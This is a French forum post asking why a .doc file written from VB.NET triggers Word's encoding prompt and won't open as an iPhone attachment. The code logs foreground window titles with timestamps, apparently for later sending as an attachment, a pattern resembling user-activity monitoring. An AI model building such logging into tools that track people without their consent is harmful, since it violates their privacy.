Bonjour, voici ma fonction, qui écrit le stringbuilder "rendu" dans un fichier.doc (sans encryptage word). Le problème est que Word demande à chaque ouverture l'encodage à utiliser, ce qui n'est pas normal. Par ailleurs, le fichier ne se lit pas en pièce jointe sur un Iphone, ce qui selon mes tests est lié. Comment faire? J'ai trifouillé tous les encodages, méthodes, bytesConvert, sans résultat.



Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
Dim ligne As String = "_____________________________________________________________"
    Dim rendu As New StringBuilder
 Dim strin As String = Nothing
Try
 
            If strin <> GetActiveWindowTitle() And GetActiveWindowTitle() <> "" And GetActiveWindowTitle() <> "Démarrer" Then
                rendu.Append(vbNewLine & vbNewLine & vbNewLine & GetActiveWindowTitle() & Date.Now.ToShortTimeString & vbNewLine)
                strin = GetActiveWindowTitle()
            End If
        Catch ex As Exception
            rendu.Append(vbNewLine & "[------ Données indispponibles ------]   -- " & Date.Now.ToShortTimeString & " --" & vbNewLine)
        End Try
File.WriteAllText("abc.doc"), rendu.ToString)



Fonction windowTitle
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
Private Function GetActiveWindowTitle() As String
        Try
            Dim MyStr As String = New String(Chr(0), 100)
            GetWindowText(GetForegroundWindow, MyStr, 100)
            MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
            Return MyStr.ToString
        Catch ex As Exception
            Return "Données indisponibles"
        End Try
    End Function

Merci beaucoup